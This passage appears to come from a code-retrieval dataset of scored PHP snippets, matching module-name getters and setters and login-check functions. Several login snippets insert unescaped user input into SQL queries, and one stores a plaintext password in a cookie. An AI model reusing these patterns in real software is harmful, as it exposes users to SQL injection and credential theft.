self::_getModule();\r\n\t\t\t$moduleName = $mymodule->getVar('name');\r\n\t\t}\r\n\t\treturn $moduleName;\r\n\t}", "title": "" }, { "docid": "c25f54af492bf4e1eabb4514cf3aba1b", "score": "0.58215314", "text": "public function setDefaultModule($module)\r\n {\r\n $this->_defaultModule = $module;\r\n return $this;\r\n }", "title": "" }, { "docid": "e57ab879b772cb8fb2cfc99d640d07da", "score": "0.58052784", "text": "public function setDefaultTitle($defaultTitle)\n {\n $this->defaultTitle = $defaultTitle;\n }", "title": "" }, { "docid": "95e2ecc822a52605de8289167d33023f", "score": "0.5799784", "text": "public function getDefaultName(): string\n {\n return self::$DEFAULT_NAME;\n }", "title": "" }, { "docid": "a5bc2fa2c0872856d1ddb5228f7b7fb1", "score": "0.57995194", "text": "public function setName(): void\n {\n $this->name = 'PhotoGallery';\n }", "title": "" }, { "docid": "5c1b48ac785cb745e433cc0de8060fee", "score": "0.5798354", "text": "public function getModuleName()\n {\n return self::MODULE_NAME;\n }", "title": "" }, { "docid": "5c1b48ac785cb745e433cc0de8060fee", "score": "0.5798354", "text": "public function getModuleName()\n {\n return self::MODULE_NAME;\n }", "title": "" }, { "docid": "5c1b48ac785cb745e433cc0de8060fee", "score": "0.5798354", "text": "public function getModuleName()\n {\n return self::MODULE_NAME;\n }", "title": "" }, { "docid": "5c1b48ac785cb745e433cc0de8060fee", "score": "0.5798354", "text": "public function getModuleName()\n {\n return self::MODULE_NAME;\n }", "title": "" }, { "docid": "5c1b48ac785cb745e433cc0de8060fee", "score": "0.5798354", "text": "public function getModuleName()\n {\n return self::MODULE_NAME;\n }", "title": "" }, { "docid": "b8ed813f3ee0a4e431273d1d0630e0a1", "score": "0.57833195", "text": "public function setDefaultName()\n\t{\n\t\t/** @var $this self|Has_Name */\n\t\t$name = trim($this->first_name . SP . $this->last_name);\n\t\tif (strlen($name)) {\n\t\t\t$this->name = trim($this->first_name . SP . $this->last_name);\n\t\t}\n\t}", "title": "" }, { "docid": "2e691489c86771c4a7896f66032062bf", "score": "0.57734054", "text": "public function _initDefaultModule(Yaf_Dispatcher $dispatcher) {\n\t\t$dispatcher->setDefaultModule(DEFAULT_MODULE);\n\t}", "title": "" }, { "docid": "39a2d7be2829dd2bbe0aa2d5e810be80", "score": "0.576135", "text": "public function getDefaultModule()\n {\n return $this->defaultModule;\n }", "title": "" }, { "docid": "47e403e1fa2ffa64159e9c36018dd99d", "score": "0.57590276", "text": "public function fixNameComponentDefault($nameComponent) {\n $this->_nameComponentDefault = $nameComponent;\n }", "title": "" }, { "docid": "f435116dddd65c80207cb5d5b2d5dd00", "score": "0.5752695", "text": "public function setModule(){\n return \"Module Saved\";\n }", "title": "" }, { "docid": "94b6c4a080b154ea697708a68ff575cf", "score": "0.57418156", "text": "private function configAppName()\n {\n $app_name = $this->app_name;\n $content = <<<PHP\n<?php\n\nreturn '$app_name';\nPHP;\n file_put_contents(Yii::getAlias('@common') . '/config/name.php', $content);\n set_setting('site_configuration', 'app_name', $this->app_name);\n }", "title": "" }, { "docid": "1739ebb9aa4affa53b0d8b857bac8bce", "score": "0.5731239", "text": "function set_file_name($new_name = '') {\n\t\tif ($this->rename_file) {\n\t\t\tif ($this->the_file == '') return;\n\t\t\t$name = ($new_name == '') ? date(\"YmdHis\").rand(0,99) : $new_name;\n\t\t\tsleep(3);\n\t\t\t$name = $name.$this->get_extension($this->the_file);\n\t\t} else {\n\t\t\t$name = str_replace(' ', '_', $this->the_file); // space will result in problems on linux systems\n\t\t}\n\t\treturn $name;\n\t}", "title": "" }, { "docid": "bd93ba274379f6dde3864daf495b6bbd", "score": "0.57299894", "text": "public function getDefaultViewName()\n\t{\n\t\t$viewName = App\\Config::module($this->getName(), 'defaultViewName');\n\t\tif (!empty($viewName)) {\n\t\t\treturn $viewName;\n\t\t}\n\t\treturn 'List';\n\t}", "title": "" }, { "docid": "ea2cb6055e58d78459da8c15d819fc80", "score": "0.572694", "text": "private function _build_module_name($module) {\n return $this->_home.\"/module/$module/$module.php\";\n }", "title": "" }, { "docid": "cc56c8301de5f692c5db98a39a1aa795", "score": "0.57266855", "text": "public function setDefault(string $name, $default);", "title": "" }, { "docid": "d69df4b6c97864871904c001ec0ab09e", "score": "0.5722749", "text": "function ju_sentry_module($m = null):string {return !$m ? 'Justuno_Core' : ju_module_name($m);}", "title": "" }, { "docid": "a6ea5098b624165994bb320b0650ee67", "score": "0.57190436", "text": "public function getModuleName()\n {\n $modules_with_odd_names = array(\n 'Bug Tracker'=>'Bugs'\n );\n \n if (isset($modules_with_odd_names[$this->name])) {\n return $modules_with_odd_names[$this->name];\n }\n\n return $this->name;\n }", "title": "" }, { "docid": "44419d2fe1dcf826b8ff368fa43364a3", "score": "0.57179123", "text": "public function setDefault($name, $default);", "title": "" }, { "docid": "4060b08c61a1b70a37aae30007c89c65", "score": "0.569515", "text": "public function getModuleName()\n\t{\n\t\t$module = $this->getModule();\n\t\tif ($module) {\n\t\t\treturn parent::getModuleName();\n\t\t}\n\t\t//get from the class propety module_name\n\t\treturn $this->get('module_name');\n\t}", "title": "" }, { "docid": "c44e620e9781474019b2cc6dd0ab303c", "score": "0.56946695", "text": "public function getDefaultModule()\r\n {\r\n return $this->_defaultModule;\r\n }", "title": "" }, { "docid": "eee3f43e923f7d230e7a493b68c80192", "score": "0.56917304", "text": "public function getName()\n {\n return 'MyyelpModule';\n }", "title": "" }, { "docid": "992c38f7d0620b10802507bb4ec55a9a", "score": "0.56914383", "text": "function setName($name) {\n\n $prefixed_name = 'tab_' . $name;\n parent::setName($prefixed_name);\n $this->setLabel($name);\n\n }", "title": "" }, { "docid": "e4d343e9d9dca0ab2647722b6a96a741", "score": "0.5688168", "text": "public static function getModuleName()\n {\n return 'iTunes';\n }", "title": "" }, { "docid": "3051d18d78cb382a18c075f7465ccc54", "score": "0.5666003", "text": "private function setName($name = '')\n {\n if (is_string($name) && !empty($name) && !WPGalleryPlugin::isGalleryDeclared($name)) {\n $this->_name = $name;\n } else {\n self::$_currentId += 1;\n $this->_name = 'gall'.self::getCurrentId();\n }\n }", "title": "" }, { "docid": "c23114428b8f56a1305f0c0c18619048", "score": "0.5646241", "text": "function getModuleName() {\n $modules_with_odd_names = array(\n 'Bugs' => 'Bugs'\n );\n if (isset($modules_with_odd_names [$this->name]))\n return ( $modules_with_odd_names [$this->name] );\n\n return $this->name;\n }", "title": "" }, { "docid": "18cf7b0d5badd24c5a0a52329ea4a1aa", "score": "0.5641967", "text": "public function setModuleName($moduleName) {\n $this->moduleName = $moduleName;\n }", "title": "" }, { "docid": "d0f6b9bd32fa694d477fa3d1ce6fed1f", "score": "0.5637583", "text": "public function setDefaultDriver(string $name): void\n {\n $this->app['config']['otp-tokens.defaults.otp_tokens'] = $name;\n }", "title": "" }, { "docid": "52baeb3ef85f8a3da1fbb8fdc4e847e4", "score": "0.56374854", "text": "public function getDefaultName() {\n return $this->getSiteminderHeaderVariable($this->config->get('user.user_mapping'));\n }", "title": "" }, { "docid": "979787856b3f71f574a46a66d0c534bf", "score": "0.5635859", "text": "public function getDefaultUrl()\n\t{\n\t\treturn 'index.php?module=' . $this->getName() . '&view=' . $this->getDefaultViewName();\n\t}", "title": "" }, { "docid": "fdc86d6f81970e7ae4d11d86ea6ce061", "score": "0.5632222", "text": "public function setNameProject (string $nom) {\n $this->nom = $nom;\n }", "title": "" }, { "docid": "031e107bcab8fb3ffbc2856f7e69b9c0", "score": "0.5630333", "text": "public function get_module_title()\n {\n return \"LC__MODULE__SEARCH__TITLE\";\n }", "title": "" }, { "docid": "6e30e2417e28de69248bd47ffe770fc1", "score": "0.56302834", "text": "public function setModuleName($moduleName)\n\t\t{\n\n\t\t}", "title": "" }, { "docid": "66f3f415565603217992e5020b662a97", "score": "0.562431", "text": "private function getNewNameProject() {\n\t\treturn 'my_new_project_name';\n\t}", "title": "" }, { "docid": "98e68812ffac707aca70485d0bcc171e", "score": "0.56212217", "text": "public function setModuleName($module)\n\t{\n\t\t$this->_module = (string) $module;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "1800968a0661fae5763d637830753570", "score": "0.56079346", "text": "abstract protected function getDefaultStubName();", "title": "" }, { "docid": "9b823d1fbf8470c3d5a8da02dade7f88", "score": "0.5603937", "text": "private function set_names() {\n global $app;\n\n $app->controller = $this->controller;\n $app->method = $this->method;\n }", "title": "" }, { "docid": "8c3e112620f6ee0c0c8a874711192ad8", "score": "0.56011", "text": "protected function _reInitControllerName() {\n $name = substr(get_class($this), 0, -10);\n if ($this->name === null) {\n $this->name = $name;\n } elseif ($name !== $this->name) {\n $this->name = $name;\n }\n }", "title": "" }, { "docid": "a02f4a3fcc59e0361e6114afba7e3468", "score": "0.5598724", "text": "public function getDefaultModule()\n\t{\n\t\tforeach($this->_available_modules as $module=>$isDefault)\n\t\t{\n\t\t\tif(1==$isDefault) return $module;\n\t\t}\n\t\treturn null;\n\t}", "title": "" }, { "docid": "56ad1c315125009af89b95d2cb1d78a3", "score": "0.5598384", "text": "public function customModuleAuthorName(): string\n {\n return 'Greg Roach';\n }", "title": "" }, { "docid": "18efd81b412af427d9ab69b0c4ba832c", "score": "0.5597534", "text": "public function init()\n\t{\n\t\tYii::app()->theme = 'classic';\n\t\tYii::app()->name = 'Administration panel';\n\t}", "title": "" }, { "docid": "6a34d03ee560312656da8d1f60f130fa", "score": "0.5591857", "text": "public function getCombinedModuleName(){\n return $this->module_name.'_'.$this->module_mode;\n }", "title": "" }, { "docid": "f31a5ee005237bbe575b4c55aed542d7", "score": "0.5590725", "text": "public function setDefaultDriver($name)\n {\n $this->config['default'] = $name;\n }", "title": "" }, { "docid": "ade089fda353effc3f0a21e1644e50ac", "score": "0.5589461", "text": "protected function initScriptName () {\n\t\t$this->indexScriptName = str_replace('\\\\', '/', $this->serverGlobals['SCRIPT_NAME']);\n\t\t$this->ScriptName = '/' . substr($this->indexScriptName, strrpos($this->indexScriptName, '/') + 1);\n\t}", "title": "" }, { "docid": "de4beb8669a7ab1d0764b464b181b4d5", "score": "0.55888414", "text": "function set_name($newname) {\n $this->name = $newname;\n }", "title": "" }, { "docid": "0fd28857e214cc8e98f07aaa4b54912a", "score": "0.5585828", "text": "final public function setDefaultControllerName($defaultControllerName)\n {\n $this->defaultControllerName = $defaultControllerName;\n }", "title": "" }, { "docid": "ff6c79673c9d4610798f27198933a5b6", "score": "0.5562912", "text": "public function setScriptname(string $script_name) {}", "title": "" }, { "docid": "c094de68985c335446f8dc63e117e570", "score": "0.5560147", "text": "public static function getModuleTitle() {\n global $mod_strings;\n\n if (!empty($_REQUEST['type'])) {\n if ($_REQUEST['type'] == 'studio') {\n return $mod_strings['LBL_STUDIO'];\n } else {\n return $mod_strings['LBL_DEVELOPER_TOOLS'];\n }\n } else {\n return $mod_strings['LBL_DEVELOPER_TOOLS'];\n }\n }", "title": "" } ]
7b112b9e212fc519a9b1fee5ac60d4d9
Check login no or yes
[ { "docid": "fce11af4d9de1143d327c38771a71cb6", "score": "0.0", "text": "public function index()\n {\n if (!Auth::check()) {\n return view('login');\n } else {\n if (Auth::user()->position_id == 1) {\n return redirect(route('leader_after_login'));\n } elseif (Auth::user()->position_id == 2) {\n return redirect(route('sublead_after_login'));\n } elseif (Auth::user()->position_id == 3) {\n return redirect(route('member_after_login'));\n }\n }\n\n }", "title": "" } ]
[ { "docid": "d74f1767560243c50749a0b217961d89", "score": "0.74587405", "text": "public function canLogin();", "title": "" }, { "docid": "a8a6f63cccb95dfbc2733d09a69da244", "score": "0.7391822", "text": "private function validateLoginStatus()\n\t{\n\n\t}", "title": "" }, { "docid": "eecedadcf62d330aafe59d0009f01d8c", "score": "0.73466676", "text": "public function checkLogin(){\n if(isset($_SESSION[\"user\"])){\n return true;\n }else{\n return false;\n }\n }", "title": "" }, { "docid": "2d33b43b9a1a2692da0a9143010c8268", "score": "0.7328587", "text": "public function canLogin() {\n // use password_verify() to verify your user\n // this function should return true or false and nothing else\n }", "title": "" }, { "docid": "830095cca4aefe60db2e0c916b272ae1", "score": "0.72841454", "text": "public static function checklogin(){\n\t\t$password = EHeaderDataParser::get_cookie(EProtect::$localkey);\n\t\tif($password){\n\t\t\tif($password == EConfig::$data['generic']['password']){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(isset($_POST['password'])){\n\t\t\t$password = $_POST['password'];\n\t\t\tif($password == EConfig::$data['generic']['password']){\n\t\t\t\tEHeaderDataParser::set_cookie(EProtect::$localkey, $password, 60); //60seconds*30 = max 30 minutes session\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn false;\n\t}", "title": "" }, { "docid": "2f33fb1c2fc3b2940e248901685a9739", "score": "0.727086", "text": "public function checkuser() {\n $uname = $_POST['uname'];\n $passw = $_POST['passw'];\n if($uname == 'uname' && $passw == 'pass') {\n $session = KidSession::getInstance();\n $session->__set('logged', 1);\n header('Location:/scalatetrack');\n } else {\n $this->login();\n }\n }", "title": "" }, { "docid": "5427eeecaafe14378946b1622bf83b6e", "score": "0.72408617", "text": "function loginCheck()\r\n\t\t{\r\n\t\t\t/* Setup POST parameters - Begin */\r\n\t\t\t$ArrayPostParameters = array();\r\n\t\t\t$ArrayPostParameters[] = \"Command=User.Login\";\r\n\t\t\t$ArrayPostParameters[] = \"ResponseFormat=JSON\";\r\n\t\t\t$ArrayPostParameters[] = \"Username=\".$_POST['username'];\r\n\t\t\t$ArrayPostParameters[] = \"Password=\".$_POST['password'];\r\n\t\t\t/* Setup POST parameters - End */\r\n\t\t\t\r\n\t\t\t$this->updateAdminOptions(\tarray(\"Username\" => $_POST['username'], \r\n\t\t\t\t\t\t\t\t\t\t\"Password\" => $_POST['password'],\r\n\t\t\t\t\t\t\t\t\t\t\"URL\" => $_POST['ar1_url']\r\n\t\t\t\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t\t\t\t);\r\n\t\t\t\r\n\t\t\t$response = $this->_postToRemoteURL($_POST['ar1_url'].\"/api.php?\", $ArrayPostParameters);\r\n\t\t\tif($response[0]==false)\r\n\t\t\t{\r\n\t\t\t\techo \"false\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\techo $response[1];\r\n\t\t\t}\r\n\t\t\texit;\r\n\t\t}", "title": "" }, { "docid": "3b6aa8de83c337b9aee82e27b0636c77", "score": "0.723781", "text": "public function validateLogin() {\nglobal $_LW;\nif ($response=$this->getResponse('/grouptypes')) {\n\tif (!empty($response['results'])) {\n\t\treturn true;\n\t};\n};\nreturn false;\n}", "title": "" }, { "docid": "c8018feda6828a99884f6bd5d2d0832c", "score": "0.7233902", "text": "public function loginRequired();", "title": "" }, { "docid": "5166aa22163dbdc725ea30bda854c9f4", "score": "0.7198411", "text": "public abstract function isLoginNeeded() : bool;", "title": "" }, { "docid": "ac73f139f7cb0ad0a25bb156976995e0", "score": "0.7185539", "text": "private function isLogin() {\n if($this->session->bbcourse_username_member != '')\n return true;\n else \n return false;\n }", "title": "" }, { "docid": "fc151390b9517c99e63a3c56a3299ec0", "score": "0.7174786", "text": "function isLogin(){\r\n\t\t//this function is to get the user info via GLOBAL var\r\n\t\tif (isset($_SESSION['Password'])&isset($_SESSION['Username'])) {\r\n\t\t\t$this->Password=$_SESSION['Password'];\r\n\t\t\t$this->Username=$_SESSION['Username'];\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "6ad0f1ec7cfe60a2ebd7413d24fd87f3", "score": "0.71658397", "text": "public function checkLogin(){\n return ($this->JACKED->Sessions->read('auth.admin.loggedIn') && ($this->JACKED->Sessions->read('auth.admin.sessionID') == md5($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'])));\n }", "title": "" }, { "docid": "3196b259714b4aec3ef943b3e760ec05", "score": "0.7158639", "text": "public function checkLogin() {\n // Defiere die Actions, fuer welchen kein Login benoetigt wird\n $actionsWithoutNeedForLogin = array(\n 'login', 'showLogin', 'register', 'createRegistered',\n 'requestNewPassword', 'sendNewPassword', 'confirmRegistration'\n );\n\n if (!in_array($this->action, $actionsWithoutNeedForLogin)) {\n // Wenn User nicht eingeloggt, schicke ihn auf die Login-Seite\n if (!isset($_SESSION['login']) || $_SESSION['login'] < time() - 1800) {\n\n session_destroy();\n header('Location: index.php');\n } else {\n // Setze den login-Zeitpunkt neu, dass der User wieder 30min hat, bis er\n // ausgeloggt wird\n $_SESSION['login'] = time();\n }\n }\n }", "title": "" }, { "docid": "1b32e9ed2409be13dbf8013af717918f", "score": "0.7121712", "text": "private function accesOk()\n {\n \t$session = new Session();\n \t$user \t = $session->get('sessionUser');\n\n \t//Pude obtener algo de la sesion, si no hay nada vuelvo al login.\n \tif ($user==null)\n\t\t\treturn false;\n\t\telse\n\t\t\treturn true;\n }", "title": "" }, { "docid": "039d58304f25ba2a420f37138020eaf6", "score": "0.7089943", "text": "private function isLogin()\n {\n if ((!$this->session->userdata('admintppkkwonogiri')) || ($this->session->userdata('username') == null)) {\n $this->session->set_flashdata('message', '<div class=\"alert alert-danger\" role=\"alert\">Silakan login terlebih dahulu!</div>');\n $data = [\n 'username',\n 'admintppkkwonogiri',\n ];\n $this->session->unset_userdata($data);\n redirect('admin');\n }\n }", "title": "" }, { "docid": "ad294b15506c1b6e5bb86bb6cdc656b3", "score": "0.7087329", "text": "function _isLogin(){\n $login = FALSE;\n if ($this->Session->read(AUTH_USER_ID) != null)\n $login = TRUE;\n return $login;\n }", "title": "" }, { "docid": "1c48ee361041dd23afde292813a15ba8", "score": "0.7061491", "text": "function can_log_in()\n\t{\n\t\t$this -> db -> where('email', $this->input->post('email'));\n\t\t$this -> db -> where('password', ($this->input->post('password')));\n\t\t$query = $this -> db -> get('test');\n\t\tif($query -> num_rows() == 1)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t}", "title": "" }, { "docid": "706490769a01d14ab4cd3282f27b4eea", "score": "0.70586395", "text": "function isLogin() {\n return $isLogin = isset($_SESSION['userNim']);\n}", "title": "" }, { "docid": "790e1b01797b71c706d7beef631de5c5", "score": "0.70552254", "text": "function status(){\n if(isset($_COOKIE['username']) && isset($_COOKIE['password'])){\n //Push mysql query to check if the stored credentials are correct\n $st = $this->dbh->prepare('SELECT * FROM `'.$this->tbl['users'].'` WHERE username=:username AND password=:password');\n $st->bindParam(':username', $_COOKIE['username']);\n $st->bindParam(':password', $_COOKIE['password']);\n $st->execute();\n \n \n if($res = $st->fetch()){\n return true;\n }else{\n return false;\n }\n }\n }", "title": "" }, { "docid": "ab47ac6c9982bbad9bd1f1647854b2fc", "score": "0.70477617", "text": "Function check_login($data)\n\t{\n\t $check = query_DB(\"SELECT Count(Username)\n\t\t\t\t\t\t FROM `Users`\n\t\t\t\t\t\t WHERE `Username` = '\" . $data['username'] . \"'\n\t\t\t\t\t\t AND `Password` = '\" . $data['password'] . \"'\");\n\n\t if( $check['Result'] )\n\t {\n\t\treturn True;\n\t }\n\t else\n\t {\n\t\treturn False;\n\t }\n\t}", "title": "" }, { "docid": "2be9b60e15abd8af03924c63d1236735", "score": "0.704463", "text": "public static function andLogin()\n\t{\n\t\tif(static::status()){\n\t\t\tstatic::getInstance()->login(static::$tempUser);\n\t\t\tstatic::$tempUser = [];\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "9eb45f8191495f3453c625389a8501b7", "score": "0.7024391", "text": "public function _isUserLogin() {\n\t\treturn $this->Controller->request->is('post') && $this->Controller->request->data['is_login'] === 'yes';\n\t}", "title": "" }, { "docid": "c0e3417dc35793162c364017d3eb78e7", "score": "0.7013813", "text": "public function checklogin() {\n if (!(isset($_SESSION['username'], $_SESSION['user_id']))) {\n header(\"Location:/index.php\");\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "e7c42da7123cab2a1c0dbc20fe63ab4a", "score": "0.69867724", "text": "function checkLogin(){\n\t\tif($this->session->userdata('userProfile')){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "ebbf8810ce01c0367b1f8cab595ce245", "score": "0.6986039", "text": "public function loginValidate():bool {\n $client = $this->guzzleClient;\n // make session, save it to query\n $resp = $client->request('GET', self::$cas_login);\n $match = [];\n preg_match_all(self::SUCPATTERN, $resp->getBody(), $match);\n\n if(count($match[0])> 0)\n return true;\n return false;\n }", "title": "" }, { "docid": "5d4d9574f687225415d8258dad1d2222", "score": "0.6983774", "text": "public function isLoggegIn(){\r\n if(isset($_SESSION['user_id'])){\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "702442aa6b96844aa26d44b6886e979a", "score": "0.69766927", "text": "public function validateLogin()\n {\n if($this->role=='root'){\n return true;\n }\n if(!$this->isActive()){\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "151dae98a0e34b10a08cbed181e3bb65", "score": "0.6972237", "text": "public function didLogin()\n {\n\t\tif (isset($_POST['login']))\n {\n\t\t\treturn true;\n\t\t}\n else\n {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "a580091e475c6c29062c68e334ac0073", "score": "0.6969917", "text": "static function checkLogin() {\n\t\t\tglobal $site;\n\t\t\t$ret = false;\n\t\t\t$name = sprintf('banana_login%s', $site->hashPassword('cookie'));\n\t\t\t$cookie = isset($_COOKIE[$name]) ? $_COOKIE[$name] : null;\n\t\t\tif ($cookie) {\n\t\t\t\t$cookies = new StatelessCookie( $site->hashPassword('mega-ggi') );\n\t\t\t\t$login = $cookies->getCookieData($cookie);\n\t\t\t\t$user = self::getBy('login', $login);\n\t\t\t\t# Check user and password\n\t\t\t\tif ( $user && $cookies->checkCookie($cookie, $user->password) ) {\n\t\t\t\t\t# Save user id\n\t\t\t\t\tself::$user_id = $user->id;\n\t\t\t\t\t$ret = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $ret;\n\t\t}", "title": "" }, { "docid": "2034ba38dec4cf4f4d9941abd0c9634a", "score": "0.6963398", "text": "function isLoggingIn();", "title": "" }, { "docid": "0348700ea415f12aa272b9bdb53c9891", "score": "0.69607484", "text": "public function isLogin(){\n $request = I();\n logger('子应用'.$request['appId'].': 请求验证是否登录?');\n $this->server->isLogin($request);\n }", "title": "" }, { "docid": "84d1f0ce4e11024215cbb4c42833e8e6", "score": "0.6957383", "text": "public function login()\n {\n return true;\n }", "title": "" }, { "docid": "7ce7937d9730fd5ac7872eff4eb8db0a", "score": "0.69536704", "text": "public function check_login()\r\n\t{\r\n\t\tif(!UID)\r\n\t\t\tredirect(\"login\");\r\n\t}", "title": "" }, { "docid": "b80e75790fc44bf48e24e85111de1027", "score": "0.6944568", "text": "public function loginCheck(){\n\t\tif( parent :: validateUsername( $this -> username ) ){\n\t\t\tif( parent :: validatePassword( $this -> password ) ){\n\t\t\t\t$username = $this -> username;\n\t\t\t\t$password = $this -> password;\n\t\t\t\t$enc_pass = new encPass;\n\t\t\t\t$password = $enc_pass -> encrypt( $password );\n\t\t\t\t$this -> db -> query_string = \"SELECT * from users WHERE `username` = '$username' and `password` = '$password'\";\n\t\t\t\t$data = $this -> db -> select_query();\n\t\t\t\t$result = mysqli_fetch_assoc($data);\n\t\t\t\t$rows = mysqli_num_rows($data);\n\t\t\t\tif($rows == 1){\n\t\t\t\t\tif($result['status'] == 'active'){\n\t\t\t\t\t\tif($this -> setSession( $result )){\n\t\t\t\t\t\t\techo \"success\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t$this -> dialog_box -> title = \"Error!\";\n\t\t\t\t\t\t\t$this -> dialog_box -> message = \"Unable to set session for your account. We will fix this soon.\";\n\t\t\t\t\t\t\t$this -> dialog_box -> dialog_message();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telseif($result['status'] == 'pending'){\n\t\t\t\t\t\t$this -> dialog_box -> title = \"Account Verification Needed\";\n\t\t\t\t\t\t$this -> dialog_box -> message = \"Your account is not verified yet. Please verify your account first then you can login to your dashboard.<br><br><a style='padding: 5px 15px; background: #2c3e50; color: white; border: solid 1px #f39c12; border-radius: 5px; font-size: 16px; text-decoration: none; margin-left: 10px;' href='\" . SITE_URL . \"/confirm'>Verify Now</a>\";\n\t\t\t\t\t\t$this -> dialog_box -> dialog_message();\n\t\t\t\t\t}\n\t\t\t\t\telseif($result['status'] == 'blocked'){\n\t\t\t\t\t\t$this -> dialog_box -> title = \"Account Blocked\";\n\t\t\t\t\t\t$this -> dialog_box -> message = \"Your account is blocked due to some reason. You can get help from our Contact Us page.\";\n\t\t\t\t\t\t$this -> dialog_box -> dialog_message();\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this -> dialog_box -> title = \"Unknown Error!\";\n\t\t\t\t\t\t$this -> dialog_box -> message = \"An error occured during your account validation. You can visit Contact Us page for any help.\";\n\t\t\t\t\t\t$this -> dialog_box -> dialog_message();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$this -> dialog_box -> title = \"Error!\";\n\t\t\t\t\t$this -> dialog_box -> message = \"Username or password is incorrect.<br><br>If you forgot your password, please visit the help section where you can reset your password.\";\n\t\t\t\t\t$this -> dialog_box -> dialog_message();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$this -> dialog_box -> title = \"Error\";\n\t\t\t\t$this -> dialog_box -> message = \"Invalid Password. Password length must be greater than equal to \" . $this -> min_password_length . \" characters and less than equal to \" . $this -> max_password_length . \" characters.\";\n\t\t\t\t$this -> dialog_box -> dialog_message();\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\t$this -> dialog_box -> title = \"Error\";\n\t\t\t$this -> dialog_box -> message = \"Invalid Username. Username length must in between \" . $this -> min_username_length . \" to \" . $this -> max_username_length . \" characters.\";\n\t\t\t$this -> dialog_box -> dialog_message();\n\t\t}\n\t}", "title": "" }, { "docid": "026f2534ee23a7e032aaf66a04881a32", "score": "0.69443226", "text": "public function userMakesLoginAttempt(): bool\n {\n return isset($_POST[self::$login]);\n }", "title": "" }, { "docid": "c34a8de2bac2ea2d89fc35c8f5859b1d", "score": "0.69413364", "text": "function check_login($db,$login)\r\n\t{\r\n\t\t$ask = $db->query(\"SELECT * FROM users WHERE login='$login'\");\r\n\t\tif($ask->num_rows > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}", "title": "" }, { "docid": "3a5dfdee531d095d4b413a51566646e3", "score": "0.6940789", "text": "public function getLoginResult()\n {\n if ($this->_getAuthToken() && Mage::getStoreConfig(self::XML_PATH_DPD_USERID) && Mage::getStoreConfig(self::XML_PATH_DPD_PASSWORD)){\n return true;\n }else{\n return false;\n }\n }", "title": "" }, { "docid": "b2e16f6e44971d8376865dc3e8ab5c1b", "score": "0.6940513", "text": "public function validLogin(){\n //Validate ordinary login\n $username = $this->loginView->getUsername();\n $password = $this->loginView->getPassword();\n $realAgent = $this->serviceHelper->getUserAgent();\n if($this->userModel->validateLogin($username, $password, $realAgent)){\n $this->loginView->failedLogIn($username, $password);\n //in case of set cookies\n if($this->loginView->wantCookie()){\n $time = $this->cookieView->save($username);\n $this->userModel->setTime($time);\n }\n return TRUE;\n }\n //Validate login with session\n if ($this->userModel->getAuthenticatedUser($realAgent)) {\n return TRUE;\n }\n //Validate login with cookies\n if($this->cookieView->loadCookie()){ //if there is cookie\n $cookieValue = $this->cookieView->cookieExist(); //value of cookie\n if(!$this->userModel->controlCookieValue($cookieValue, $realAgent)){\n $this->cookieView->deleteCookie();\n }\n else{\n return TRUE;\n }\n }\n return FALSE;\n }", "title": "" }, { "docid": "89849529116c733d80e9aabc6d6399a1", "score": "0.69364727", "text": "public function isLogin()\n {\n return (Session::has('user')) ? true : false;\n }", "title": "" }, { "docid": "e62cd8dd41d0dffb9be0344d0cf73264", "score": "0.6933123", "text": "private function check_login()\n {\n return isset($_SESSION['customer']);\n }", "title": "" }, { "docid": "bb8227030cf04e20d203749ed500f8fa", "score": "0.69281834", "text": "public function check_login()\n\t{\n\t\tif($this->session->userdata('login_status'))\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "30d05864d1beac3f9c9252df07887329", "score": "0.6925886", "text": "public function checkUser($post) {\n\t\t\t$r = new Response();\n\t\t\t$bool = isset($_SESSION['snapshot_username']) ? false : true;\n\t\t $response->addResponse('login', $bool);\n\t\t $response->addData('[\"username\":\"'.$_SESSION['snapshot_username'].'\"]');\n\t\t}", "title": "" }, { "docid": "5fa0b1dd646b47b78fa3e49692fd764f", "score": "0.69232696", "text": "public function loginCheck()\n\t{\n\t\t$userName = $this->input->post('userName', TRUE);\n\t\t$pass = $this->do_hash( $this->input->post('userPass') );\n\t\t$feedBack = $this->usersModel->loginCredential($userName, $pass);\n\t\tif( $feedBack )\n\t\t{\n\t\t\tredirect('dashboard', 'refresh');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->session->set_flashdata('authError', 'username or password is invalid!');\n\t\t\tredirect('admin', 'refresh');\n\t\t}\n\t}", "title": "" }, { "docid": "9a6753ee4dbecd61e051d536d1a47814", "score": "0.692103", "text": "protected function checkLogin()\n {\n $request = $this->request;\n\n if (!isset($_SESSION[CmsConstants::SESSION_PARAMETER_CLOUD_CONTROL])) {\n if (isset($request::$post[CmsConstants::POST_PARAMETER_USERNAME], $request::$post[CmsConstants::POST_PARAMETER_PASSWORD])) {\n $this->checkLoginAttempt($request);\n } else {\n 